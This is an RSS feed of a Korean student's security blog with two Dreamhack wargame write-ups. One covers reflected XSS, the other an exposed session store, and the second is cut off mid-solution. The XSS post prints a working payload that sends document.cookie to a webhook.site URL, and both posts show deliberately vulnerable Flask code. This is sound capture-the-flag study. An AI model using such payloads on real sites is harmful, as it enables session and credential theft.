<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>xmi1e-vir.log</title>
    <link>https://xmi1e-vir.tistory.com/</link>
    <description>보안 공부하는 대학교 4학년</description>
    <language>ko</language>
    <pubDate>Sun, 17 May 2026 15:06:17 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>eunee22</managingEditor>
    <image>
      <title>xmi1e-vir.log</title>
      <url>https://tistory1.daumcdn.net/tistory/7545090/attach/3c13058718494bd79355401dbe3f062a</url>
      <link>https://xmi1e-vir.tistory.com</link>
    </image>
    <item>
      <title>[Dreamhack] wargame 'xss-1' write-up</title>
      <link>https://xmi1e-vir.tistory.com/18</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1️⃣ Level 1&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/28&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.&lt;br /&gt;XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.&lt;br /&gt;플래그 형식은 DH{...} 입니다.&lt;/blockquote&gt;
&lt;h2 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt; 문제 파악&lt;/h2&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹사이트에 접속하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;vuln(xss) page&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;memo&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;flag&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;페이지 이렇게 3개로 연결되는 하이퍼링크가 나온다.&lt;/p&gt;
&lt;pre id=&quot;code_1759381526714&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;p class=&quot;important&quot;&amp;gt;&amp;lt;a href=&quot;/vuln?param=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&quot;&amp;gt;vuln(xss) page&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;important&quot;&amp;gt;&amp;lt;a href=&quot;/memo?memo=hello&quot;&amp;gt;memo&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;important&quot;&amp;gt;&amp;lt;a href=&quot;/flag&quot;&amp;gt;flag&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;/flag&lt;/span&gt; 페이지에 접속하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;param&lt;/span&gt;값을 입력할 수 있는 폼이 나온다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;/flag&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1759381608036&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  @app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
  def flag():
      if request.method == &quot;GET&quot;:
          return render_template(&quot;flag.html&quot;)
      elif request.method == &quot;POST&quot;:
          param = request.form.get(&quot;param&quot;)
          if not check_xss(param, {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG.strip()}):
              return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;param&lt;/span&gt;부분에 값을 입력하여 POST요청을 보내게 되면 &lt;span style=&quot;background-color: #e9ecef;&quot;&gt;check_xss(param)&lt;/span&gt; 함수가 실행된다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #e9ecef; color: #212529; text-align: left;&quot;&gt;flag.html&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1759381653448&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form method=&quot;POST&quot;&amp;gt;
  http://127.0.0.1:8000/vuln?param=&amp;lt;input type=&quot;text&quot; name=&quot;param&quot;/&amp;gt;&amp;lt;br/&amp;gt;
  &amp;lt;input type=&quot;submit&quot;/&amp;gt;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;check_xss()&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;에서는 사용자가 입력한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;param&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;을 포함한 url이 제대로 작동하는지 검증한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;여기에서 좀 헷갈릴수도 있는데, XSS가 제대로 성공했는지를 확인하는게 아니라 단순히 브라우저가 에러없이 페이즈를 로딩했는가를 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1759381670308&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def check_xss(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt; 문제 풀이&lt;/h2&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;문제를 풀기 전에 이 문제의 제목인 &quot;XSS&quot;가 무엇인지 알아야한다.&lt;/p&gt;
&lt;h3 id=&quot;xsscross-site-scripting-이란&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;XSS(Cross Site Scripting) 이란?&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹사이트의 입력 가능한 공간에 자바스크립트와 같은 스크립트 코드를 삽입하여 개발자가 고려하지 않은 기능이 작동하게 하는것&lt;/li&gt;
&lt;li&gt;XSS 공격의 유형은 여러개가 존재한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;1-reflected-xss&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;1. Reflected XSS&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격 스크립트가 URL 파라미터에 담겨 서버 응답에 그대로 반사되어 브라우저에서 실행&lt;/li&gt;
&lt;li&gt;공격 방식:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 스크립트를 포함한 URL을 제작&lt;/li&gt;
&lt;li&gt;사용자가 해당 URL을 클릭하면, 서버가 파라미터 값을 응답 페이지에 그대로 삽입&lt;/li&gt;
&lt;li&gt;브라우저가 응답을 렌더링하면서 악성 스크립트 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;주요 포인트:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL(쿼리스트링)에 악성 코드가 포함됨&lt;/li&gt;
&lt;li&gt;요청 페이지 = 응답 페이지 구조&lt;/li&gt;
&lt;li&gt;주로 GET 방식 요청에서 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;2-stored-xss&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;2. Stored XSS&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격 스크립트가 웹 서버(DB) 에 저장되고, 이후 페이지를 방문하는 사용자에게 자동 실행&lt;/li&gt;
&lt;li&gt;공격 방식:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 게시판/댓글 등 입력란에 악성 스크립트를 삽입&lt;/li&gt;
&lt;li&gt;서버가 이 데이터를 DB에 저장&lt;/li&gt;
&lt;li&gt;다른 사용자가 해당 게시글을 열람하면, 저장된 스크립트가 페이지에 포함되어 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;주요 포인트:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터 저장 후 반복적으로 노출되기 때문에 피해 범위가 넓음&lt;/li&gt;
&lt;li&gt;요청 페이지 &amp;ne; 응답 페이지 여도 공격 가능&lt;/li&gt;
&lt;li&gt;사용자가 단순히 페이지 조회만 해도 감염&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;3-dom-based-xss&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;3. DOM Based XSS&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버를 거치지 않고, 클라이언트(브라우저) 측 JavaScript가 입력값을 DOM 조작 과정에서 그대로 실행&lt;/li&gt;
&lt;li&gt;공격 방식:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;page.php?value=&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 URL을 전달&lt;/li&gt;
&lt;li&gt;서버 응답에는 그대로 포함되지 않음&lt;/li&gt;
&lt;li&gt;클라이언트 측 JS 코드(document.write, location.hash 등)가 이 값을 DOM에 삽입하면서 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;구분 방법:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 프록시로 서버 응답(Response)을 확인했을 때 입력값이 없다면 DOM XSS 가능성&lt;/li&gt;
&lt;li&gt;즉, 응답에는 없지만 브라우저 렌더링 중 실행되는 케이스&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;주요 포인트:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동적 페이지의 클라이언트 렌더링 로직을 노림&lt;/li&gt;
&lt;li&gt;서버 응답에는 공격 코드가 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;풀이&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;풀이를 시작하기 전에 나는 문제에서 의도한 &quot;memo&quot;페이지를 제대로 활용하지 못하고, 다른 방법을 사용하여 풀이가 좀 더 복잡해졌다는 것을 미리 언급한다.&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 문제의 코드를 살펴보면 Reflected XSS, 즉 서버 측 취약점에 해당한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1759381734270&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;)
    return param&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 함수는 Flask 서버가 쿼리스트링 param 값을 그대로 응답으로 반환하기 때문이다.&lt;br /&gt;서버가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;와 같은 태그 요소를 필터링하지 않고 그대로 출력하기 때문에, 브라우저는 이를 HTML로 해석해 스크립트를 실행하게 된다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;즉, 사용자가 전달한 입력값이 그대로 응답에 담겨 클라이언트에서 실행되는 구조이므로 Reflected XSS 취약점이 발생한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;따라서 쿠키로 저장되는 flag를 탈취해 응답에 포함되도록 하고, 해당 응답을 읽을 수 있는 곳으로 보내면 얻을 수 있다.&lt;br /&gt;원래는 이 웹사이트에서 제공해준&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;/memo&lt;/span&gt;로 응답을 보내면 되지만&lt;/p&gt;
&lt;pre id=&quot;code_1759381748930&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/memo&quot;)
def memo():
    global memo_text
    text = request.args.get(&quot;memo&quot;, &quot;&quot;)
    memo_text += text + &quot;\n&quot;
    return render_template(&quot;memo.html&quot;, memo=memo_text)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;나는 이걸 모르고(왜 그랬지)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;webhook.site&lt;/span&gt;라는 곳에서 임시로 응답을 받을 수 있는 서버를 배정받았다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;param&lt;/span&gt; 값에 다음과 같은 페이로드를 삽입하면, 사용자의 쿠키 값을 내가 지정한 서버로 전송할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1759381769915&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=x onerror=&quot;new Image().src='https://webhook.site/{ID}?c='+encodeURIComponent(document.cookie)&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;위 코드를 입력하면 브라우저는 onerror 이벤트를 통해 &lt;span style=&quot;background-color: #e9ecef;&quot;&gt;document.cookie&lt;/span&gt; 값을 추출하고, 이를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #e9ecef;&quot;&gt;https://webhook.site/{ID}&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;로 전달한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;결과적으로 아래와 같이 공격자가 설정한 서버로 flag(쿠키 값) 이 전송된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;803&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UCqPG/btsQ0EL7UnU/5T3osGbshf0FMDsyQMPQI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UCqPG/btsQ0EL7UnU/5T3osGbshf0FMDsyQMPQI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UCqPG/btsQ0EL7UnU/5T3osGbshf0FMDsyQMPQI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUCqPG%2FbtsQ0EL7UnU%2F5T3osGbshf0FMDsyQMPQI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;558&quot; height=&quot;349&quot; data-origin-width=&quot;803&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;참고할-자료&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;[참고할 자료]&lt;/h4&gt;
&lt;blockquote style=&quot;background-color: #f8f9fa; color: #212529; text-align: start;&quot; data-ke-style=&quot;style1&quot;&gt;&lt;b&gt;문제에서 의도한대로 /memo로 값을 보낸 풀이&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://whitehacking.tistory.com/27&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://whitehacking.tistory.com/27&lt;/a&gt;&lt;br /&gt;/memo&amp;nbsp;엔드포인트에서&amp;nbsp;param&amp;nbsp;값을&amp;nbsp;memo.html에 랜더링하여 사용자에게 보여주므로&amp;nbsp;location.href의 url주소로 넘겨주는 방식&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;-참고문헌&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;* 참고문헌&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS개념&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://4rgos.tistory.com/1&quot;&gt;https://4rgos.tistory.com/1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://studysteadily.tistory.com/9&quot;&gt;https://studysteadily.tistory.com/9&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.inflearn.com/community/questions/821122/dom%EA%B3%BC-reflected-xss-%EC%B0%A8%EC%9D%B4?srsltid=AfmBOortAXPU0f4Vd3o1d5qvWzcsj1j7NfkzAu3mEsfoScdtLMoE8CVY&quot;&gt;https://www.inflearn.com/community/questions/821122/dom%EA%B3%BC-reflected-xss-%EC%B0%A8%EC%9D%B4?srsltid=AfmBOortAXPU0f4Vd3o1d5qvWzcsj1j7NfkzAu3mEsfoScdtLMoE8CVY&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>WARGAME/WEB</category>
      <category>Cross Site Script</category>
      <category>Dreamhack</category>
      <category>hacking</category>
      <category>WarGame</category>
      <category>WEB</category>
      <category>XSS</category>
      <category>드림핵</category>
      <category>워게임</category>
      <category>웹</category>
      <category>정보보안</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/18</guid>
      <comments>https://xmi1e-vir.tistory.com/18#entry18comment</comments>
      <pubDate>Thu, 2 Oct 2025 14:16:08 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame 'session-basic' write-up</title>
      <link>https://xmi1e-vir.tistory.com/17</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1️⃣ Level 1&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/409&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.&lt;br /&gt;admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.&lt;br /&gt;플래그 형식은 DH{...} 입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;새싹의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #12b886;&quot; href=&quot;https://velog.io/@l009y/Dreamhack-wargame-web-misconf-1-write-up&quot;&gt;session&lt;/a&gt;과 유사한 문제이다.&lt;/p&gt;
&lt;h4 id=&quot;사용자-계정-정보&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;사용자 계정 정보&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;주어진 사용자 계정 정보이다.&lt;/p&gt;
&lt;pre id=&quot;code_1759132851202&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;메인페이지-index&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;메인페이지 (index)&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;admin으로 로그인을 성공하면 flag가 출력된다.&lt;/p&gt;
&lt;pre id=&quot;code_1759132870603&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        # get username from session_storage
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not admin&quot;}')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;로그인-방식&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;로그인 방식&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;username에 맞는&lt;span&gt;&amp;nbsp;&lt;/span&gt;password를 가져와서 사용자가 입력한 pw와 비교한다.&lt;br /&gt;일치한다면&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_id값을 랜덤으로 부여한뒤&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_storage&lt;span&gt;&amp;nbsp;&lt;/span&gt;리스트의 해당 위치에&lt;span&gt;&amp;nbsp;&lt;/span&gt;username을 저장하는 것이 알고리즘이다.&lt;/p&gt;
&lt;pre id=&quot;code_1759132891049&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.route('/login', methods=['GET', 'POST'])
def login():
   if request.method == 'GET':
       return render_template('login.html')
   elif request.method == 'POST':
       username = request.form.get('username')
       password = request.form.get('password')
       try:
           # you cannot know admin's pw
           pw = users[username]
       except:
           return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
       if pw == password:
           resp = make_response(redirect(url_for('index')) )
           session_id = os.urandom(32).hex()
           session_storage[session_id] = username
           resp.set_cookie('sessionid', session_id)
           return resp
       return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;웹페이지 시작과 함께 admin도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;session_storage&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;의 랜덤 위치즉, 랜덤의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;session_id&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;에 저장된다.&lt;/span&gt; &lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 풀이&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;admin의 이름이&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_storage의 어디에 저장되어있는지를 타나내는&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_id를 찾으면 되는 문제이다.&lt;br /&gt;session문제와 다르게 이번에는 32자리의 랜덤값이기 때문에 브루트포스를 통해 푸는게 불가능하다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;아래 코드를 자세히 보면&lt;span&gt;&amp;nbsp;&lt;/span&gt;/admin&lt;span&gt;&amp;nbsp;&lt;/span&gt;페이지로 이동하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_storage&lt;span&gt;&amp;nbsp;&lt;/span&gt;값을 리턴하는 것을 볼수 있다&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다만 주석 처리 된 부분은 이 방법을 막기 위한 코드로 보인다&lt;/li&gt;
&lt;li&gt;username이 admin인지 검증하는 부분이 있기 때문이다.&lt;br /&gt;&amp;rarr; admin이 아니면&lt;span&gt;&amp;nbsp;&lt;/span&gt;index.html로 돌아가도록&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1759132968111&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)

    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')

    return session_storage&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
